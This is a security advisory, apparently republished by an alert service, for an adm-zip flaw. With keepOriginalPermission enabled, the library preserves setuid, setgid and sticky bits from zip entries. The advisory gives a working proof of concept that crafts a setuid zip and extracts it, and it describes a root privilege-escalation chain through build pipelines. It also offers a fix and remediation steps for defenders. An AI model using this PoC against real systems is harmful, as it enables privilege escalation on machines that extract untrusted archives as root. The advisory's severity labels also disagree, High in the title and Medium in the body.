GHSA-j5f4-cc29-5x44: High severity npm/adm-zip vulnerability

Published Sep 29, 2026
·
Updated

Summary

adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.

Details

The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:

js // headers/entryHeader.js:187 get fileAttr() { return (attr || 0) >> 16 & 0xfff; }

0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.

When the flag is on, that value goes straight to the write:

js // adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo) const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined; filetools.writeFileTo(target, content, overwrite, fileAttr);

js // util/utils.js:94 self.fs.chmodSync(path, attr || 0o666);

No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.

PoC

Tested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.

1. Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it):

bash python3 -c " import zipfile zi = zipfile.ZipInfo('pysuidbin') zi.externalattr = 0o4755 << 16 with zipfile.ZipFile('evil.zip', 'w') as z: z.writestr(zi, '#!/bin/sh\nid\n') "

2. Extract with the flag enabled:

js const AdmZip = require('adm-zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);

const fs = require('fs'); const st = fs.statSync('/tmp/out/pysuidbin'); console.log((st.mode & 0o7777).toString(8)); // => 4755 (setuid bit set — the file is root-owned if the extractor runs as root)

3. Control — same zip, default extraction (keepOriginalPermission=false): mode comes out 0666, no setuid. The flag is the enabler.

Alternative supply path, if the zip is built in-process with adm-zip's own API:

js const zip = new AdmZip(); zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755); zip.writeZip('evil.zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true); // same result: stat mode & 0o7777 === 0o4755

Impact

Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.

Realistic chain:

1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file). 2. A pipeline or service extracts it as root with keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows. 3. The root-owned setuid file leaves the build, typically preserved by cp -a/rsync mode-bit propagation, into the runtime environment. 4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.

Who is impacted: applications and pipelines that extract untrusted archives with keepOriginalPermission=true while running as root. Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. Severity: Medium

Suggested fix, one line in the getter:

js get fileAttr() { return (attr >> 16) & 0o777; }

Affected Software

1 affected componentFixes available
npm/adm-zip<=0.6.0
0.6.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/adm-zip to a version that resolves this vulnerability.

    Fixed in 0.6.1
  2. Configuration

    Extract archives with keepOriginalPermission=false so permission bits from ZIP entries are not applied to extracted files.

    adm-zip keepOriginalPermission = false
  3. Compensating control

    Run archive extraction as a non-root user; non-root extraction prevents attacker-controlled setuid files from being root-owned.

Event History

Sep 29, 2026
Advisory Published
via GitHub·06:24 PM
Data Sourced
via GitHub·06:24 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are most exposed to this issue?

Deployments that extract attacker-controlled ZIP archives as root while passing keepOriginalPermission=true are most exposed. The advisory specifically identifies Docker builds, CI runners, and privileged install steps as common environments with this posture.

2

What conditions are required for exploitation?

An attacker needs to supply a crafted ZIP archive containing an entry with setuid, setgid, or sticky permission bits. The application must extract that entry with keepOriginalPermission=true, and extraction must run as root for a resulting setuid binary to be root-owned and useful for privilege escalation.

3

Is the default extraction behavior affected?

The vulnerable permission preservation occurs only when keepOriginalPermission=true is passed to extractAllTo() or extractEntryTo(). The provided information does not indicate that extraction without this flag applies ZIP-stored permissions.

4

How can I determine whether an extraction may already be dangerous?

Review code and build scripts for extractAllTo() or extractEntryTo() calls using keepOriginalPermission=true, especially where ZIP inputs may be attacker-controlled and the process runs as root. Inspect extracted files for unexpected special permission bits, such as a mode of 04755.

5

What can be done if upgrading is not immediately possible?

Do not enable keepOriginalPermission when extracting untrusted archives, and avoid performing extraction as root. Where privileged extraction cannot be avoided, ensure extracted files do not retain setuid, setgid, or sticky bits before they can be executed by less-privileged users.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203